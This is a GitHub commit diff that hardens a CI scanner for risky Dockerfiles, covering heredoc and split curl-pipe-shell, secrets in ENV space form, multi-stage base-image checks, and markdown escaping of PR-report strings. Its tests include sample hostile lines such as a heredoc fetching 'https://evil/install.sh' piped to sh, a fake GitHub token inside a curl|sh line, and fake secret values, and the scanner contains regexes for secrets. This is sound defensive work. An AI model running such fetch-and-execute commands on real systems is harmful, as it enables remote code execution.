Skip to content

Commit aed3413

Browse files
committed
ci: address Codex adversarial review of the risk scanner
- Never echo a snippet from a line that also tripped a secret rule (no token leak into the public PR comment). - Detect credentials in `ENV KEY value` (whitespace) form, not just `KEY=value`. - Fold heredoc bodies (RUN <<EOF … EOF) into their instruction so a heredoc'd `curl | sh` is scanned under RUN scope. - Base-image check: parse all FROM stages (not just the first), skip `--platform=` flags, ignore references to prior build stages, dedupe. - pr-report: markdown-escape untrusted report strings (backticks + angle brackets) before rendering, so a fork-controlled report cannot inject formatting/HTML. - 8 new regression tests (37 total, all green).
1 parent 5ba46fd commit aed3413

3 files changed

Lines changed: 126 additions & 35 deletions

File tree

.github/scripts/tests/test_validate.py

Lines changed: 60 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -226,13 +226,14 @@ def test_scan_accepts_quay_biocontainers_base(tmp_path):
226226
assert not any("not an official" in m for m in checklist_msgs(checklist))
227227

228228

229-
def test_scan_only_first_from_is_policy_checked(tmp_path):
230-
# a builder stage may be anything; only the first FROM is flagged, once
229+
def test_scan_flags_each_unapproved_stage_once(tmp_path):
230+
# every non-biocontainers stage is surfaced; a repeated base is flagged only once
231231
_, checklist = _scan(
232232
tmp_path,
233-
"FROM golang:1.22 AS build\nRUN go build\nFROM alpine\nCOPY --from=build /x /x\n")
233+
"FROM golang:1.22 AS build\nRUN go build\nFROM golang:1.22\nRUN x\n"
234+
"FROM alpine\nCOPY --from=build /x /x\n")
234235
base_flags = [m for m in checklist_msgs(checklist) if "not an official" in m]
235-
assert len(base_flags) == 1
236+
assert len(base_flags) == 2 # golang:1.22 (deduped) + alpine
236237

237238

238239
def test_scan_ignores_comments(tmp_path):
@@ -280,6 +281,61 @@ def test_scan_catches_split_curl_pipe_shell(tmp_path):
280281
assert any("remote script" in m for m in checklist_msgs(checklist))
281282

282283

284+
def test_scan_secret_line_snippet_not_echoed(tmp_path):
285+
# a line that trips BOTH a secret rule and curl|sh must be blocked AND must not
286+
# echo the token into the checklist snippet (Codex high finding)
287+
token = "ghp_" + "abcdefghijklmnopqrstuvwxyz0123456789" # 36 chars after ghp_
288+
secrets, checklist = _scan(
289+
tmp_path,
290+
"FROM biocontainers/x\nRUN curl -H 'Authorization: %s' https://x | sh\n" % token)
291+
assert any("GitHub personal access token" in s["msg"] for s in secrets)
292+
remote = [c for c in checklist if "remote script" in c["msg"]]
293+
assert remote and remote[0]["snippet"] == "" # no token leak
294+
295+
296+
def test_scan_env_space_form_aws_secret_blocks(tmp_path):
297+
# `ENV KEY value` (no '=') is valid Dockerfile syntax and must not bypass the scan
298+
secrets, _ = _scan(
299+
tmp_path, "FROM biocontainers/x\nENV AWS_SECRET_ACCESS_KEY %s\n" % ("A" * 40))
300+
assert any("AWS secret access key" in s["msg"] for s in secrets)
301+
302+
303+
def test_scan_env_space_form_password_advisory(tmp_path):
304+
_, checklist = _scan(
305+
tmp_path, "FROM biocontainers/x\nENV DB_PASSWORD hunter2secretvalue\n")
306+
assert any("embed a credential" in m for m in checklist_msgs(checklist))
307+
308+
309+
def test_scan_catches_heredoc_curl_pipe_shell(tmp_path):
310+
_, checklist = _scan(
311+
tmp_path,
312+
"FROM biocontainers/x\nRUN <<EOF\ncurl -fsSL https://evil/install.sh | sh\nEOF\n")
313+
assert any("remote script" in m for m in checklist_msgs(checklist))
314+
315+
316+
def test_scan_from_platform_flag_not_misparsed(tmp_path):
317+
_, checklist = _scan(
318+
tmp_path,
319+
"FROM --platform=linux/amd64 biocontainers/biocontainers:v1\nRUN echo ok\n")
320+
assert not any("not an official" in m for m in checklist_msgs(checklist))
321+
322+
323+
def test_scan_flags_non_biocontainers_final_stage(tmp_path):
324+
_, checklist = _scan(
325+
tmp_path,
326+
"FROM biocontainers/biocontainers:v1 AS build\nRUN make\n"
327+
"FROM debian:stable-slim\nCOPY --from=build /x /x\n")
328+
flags = [m for m in checklist_msgs(checklist) if "not an official" in m]
329+
assert flags and any("debian" in m for m in flags)
330+
331+
332+
def test_scan_from_stage_reference_not_flagged(tmp_path):
333+
_, checklist = _scan(
334+
tmp_path,
335+
"FROM biocontainers/biocontainers:v1 AS base\nRUN x\nFROM base\nRUN y\n")
336+
assert not any("not an official" in m for m in checklist_msgs(checklist))
337+
338+
283339
def test_scan_clean_dockerfile_no_findings(tmp_path):
284340
secrets, checklist = _scan(
285341
tmp_path,

.github/scripts/validate.py

Lines changed: 56 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -54,7 +54,7 @@
5454
(re.compile(r"\bghp_[A-Za-z0-9]{36}\b"), "a GitHub personal access token"),
5555
(re.compile(r"\bgho_[A-Za-z0-9]{36}\b"), "a GitHub OAuth token"),
5656
(re.compile(r"\bgithub_pat_[A-Za-z0-9_]{22,}\b"), "a GitHub fine-grained token"),
57-
(re.compile(r"(?i)aws_secret_access_key\s*[=:]\s*[\"']?[A-Za-z0-9/+]{40}\b"), "an AWS secret access key"),
57+
(re.compile(r"(?i)aws_secret_access_key(?:\s*[=:]\s*|\s+)[\"']?[A-Za-z0-9/+]{40}\b"), "an AWS secret access key"),
5858
(re.compile(r"\bxox[baprs]-[A-Za-z0-9-]{10,}\b"), "a Slack token"),
5959
)
6060

@@ -82,7 +82,8 @@
8282
"sets world-writable permissions (`chmod 777`) — scope permissions more tightly"),
8383
(re.compile(r"(?i)(?:--insecure|--no-check-certificate)\b"), True, ("RUN",),
8484
"disables TLS certificate verification (`--insecure` / `--no-check-certificate`)"),
85-
(re.compile(r"(?i)(?:password|passwd|secret|token|api[_-]?key)\s*[=:]\s*[\"']?\S{6,}"), False, None,
85+
(re.compile(r"(?i)(?:password|passwd|secret|token|api[_-]?key)(?:\s*[=:]\s*|\s+)[\"']?\S{6,}"),
86+
False, ("ENV", "ARG", "RUN"),
8687
"may embed a credential/secret — verify that no real secret is committed"),
8788
)
8889

@@ -309,45 +310,72 @@ def scan_dockerfile_risks(dockerfile_path):
309310
with open(dockerfile_path, errors="replace") as fh:
310311
raw_lines = fh.read().splitlines()
311312

312-
# Fold backslash line-continuations into one logical instruction so a split
313-
# `curl … \` <newline> `| sh` cannot slip past a per-line regex. Each entry is
313+
# Fold each Dockerfile instruction into one logical unit: both backslash
314+
# continuations AND heredoc bodies (`RUN <<EOF … EOF`) are attached to their
315+
# instruction, so neither a split `curl … \`↵`| sh` nor a heredoc'd
316+
# `curl … | sh` can slip past the scoped regexes. Each entry is
314317
# (start_line, INSTRUCTION, joined_text).
315-
logical, buf, start, instr = [], None, None, None
316-
for i, raw in enumerate(raw_lines, 1):
317-
if buf is None:
318-
stripped = raw.strip()
319-
if not stripped or stripped.startswith("#"):
320-
continue
321-
m = re.match(r"([A-Za-z]+)", stripped)
322-
instr = m.group(1).upper() if m else ""
323-
start, buf = i, raw
324-
else:
325-
buf += "\n" + raw
326-
if raw.rstrip().endswith("\\"):
318+
heredoc_re = re.compile(r"<<[-~]?\s*[\"']?([A-Za-z_][A-Za-z0-9_]*)[\"']?")
319+
logical = []
320+
i, n = 0, len(raw_lines)
321+
while i < n:
322+
raw = raw_lines[i]
323+
stripped = raw.strip()
324+
if not stripped or stripped.startswith("#"):
325+
i += 1
327326
continue
328-
logical.append((start, instr, buf))
329-
buf = None
330-
if buf is not None:
331-
logical.append((start, instr, buf))
332-
333-
saw_from = False
327+
m = re.match(r"([A-Za-z]+)", stripped)
328+
instr = m.group(1).upper() if m else ""
329+
start = i + 1
330+
parts = [raw]
331+
# heredocs are only valid on RUN/COPY/ADD; ignore `<<` elsewhere
332+
terms = heredoc_re.findall(raw) if instr in FETCH_INSTR else []
333+
while raw.rstrip().endswith("\\") and i + 1 < n: # backslash continuations
334+
i += 1
335+
raw = raw_lines[i]
336+
parts.append(raw)
337+
if instr in FETCH_INSTR:
338+
terms += heredoc_re.findall(raw)
339+
for term in terms: # consume heredoc bodies
340+
while i + 1 < n:
341+
i += 1
342+
raw = raw_lines[i]
343+
parts.append(raw)
344+
if raw.strip() == term:
345+
break
346+
logical.append((start, instr, "\n".join(parts)))
347+
i += 1
348+
349+
stage_names, flagged_bases = set(), set()
334350
for start, instr, text in logical:
335351
snippet = text.splitlines()[0].strip()[:160]
352+
has_secret = False
336353
for rx, what in SECRET_RULES:
337354
if rx.search(text):
355+
has_secret = True
338356
secrets.append({"line": start, "msg": "line %d appears to contain %s" % (start, what)})
339357
for rx, show, scope, msg in REVIEW_RULES:
340358
if scope is not None and instr not in scope:
341359
continue
342360
if rx.search(text):
343-
checklist.append({"line": start, "snippet": snippet if show else "", "msg": msg})
344-
if instr == "FROM" and not saw_from:
345-
saw_from = True
346-
m = re.search(r"(?i)FROM\s+(\S+)", text)
347-
if m and not APPROVED_BASE_RE.match(m.group(1)):
361+
# never echo a line that also tripped a secret rule (no token leak)
362+
safe = show and not has_secret
363+
checklist.append({"line": start, "snippet": snippet if safe else "", "msg": msg})
364+
if instr == "FROM":
365+
first = re.sub(r"(?i)^\s*FROM\s+", "", text.splitlines()[0].strip())
366+
toks = [t for t in first.split() if not t.startswith("--")] # drop --platform= etc
367+
if not toks:
368+
continue
369+
image = toks[0]
370+
# flag every stage whose base is neither approved nor a prior build stage
371+
if (image.lower() not in stage_names and image.lower() not in flagged_bases
372+
and not APPROVED_BASE_RE.match(image)):
373+
flagged_bases.add(image.lower())
348374
checklist.append({"line": start, "snippet": snippet,
349375
"msg": "base image `%s` is not an official `biocontainers/*` image "
350-
"— confirm it is an approved base" % m.group(1)[:80]})
376+
"— confirm it is an approved base" % image[:80]})
377+
if len(toks) >= 3 and toks[1].upper() == "AS":
378+
stage_names.add(toks[2].lower())
351379
return secrets, checklist
352380

353381

.github/workflows/pr-report.yml

Lines changed: 10 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -47,6 +47,13 @@ jobs:
4747
String(s == null ? '' : s).replace(/[\x00-\x1f\x7f]/g, ' ').slice(0, n);
4848
const cleanName = (s) =>
4949
(String(s || '').match(/[A-Za-z0-9._-]+/) || ['container'])[0].slice(0, 128);
50+
// Report strings are rendered as list items (never at column 0, so they
51+
// cannot open a heading/table), but still neutralize inline injection from
52+
// a fork-controlled report: backticks (code-span breakout) and angle
53+
// brackets (raw HTML / <details>). Control chars incl. newlines are already
54+
// stripped by clean().
55+
const mdSafe = (s, n = 400) =>
56+
clean(s, n).replace(/`/g, "'").replace(/</g, '&lt;').replace(/>/g, '&gt;');
5057
5158
// Trusted target: the head commit of the run, and the PR that owns it.
5259
const sha = run.head_sha;
@@ -65,11 +72,11 @@ jobs:
6572
const container = cleanName(report.container);
6673
const version = report.version ? cleanName(report.version) : '';
6774
const tag = cleanName(report.tag);
68-
const errors = (Array.isArray(report.errors) ? report.errors : []).slice(0, 20).map(e => clean(e));
69-
const warnings = (Array.isArray(report.warnings) ? report.warnings : []).slice(0, 20).map(w => clean(w));
75+
const errors = (Array.isArray(report.errors) ? report.errors : []).slice(0, 20).map(e => mdSafe(e));
76+
const warnings = (Array.isArray(report.warnings) ? report.warnings : []).slice(0, 20).map(w => mdSafe(w));
7077
// Advisory 'a human must look at this line' items from the Dockerfile risk scan.
7178
const checklist = (Array.isArray(report.review_checklist) ? report.review_checklist : [])
72-
.slice(0, 20).map(x => clean(x, 400));
79+
.slice(0, 20).map(x => mdSafe(x));
7380
7481
// Commit status on the trusted head SHA; build conclusion gates pass/fail.
7582
if (sha) {

0 commit comments

Comments
 (0)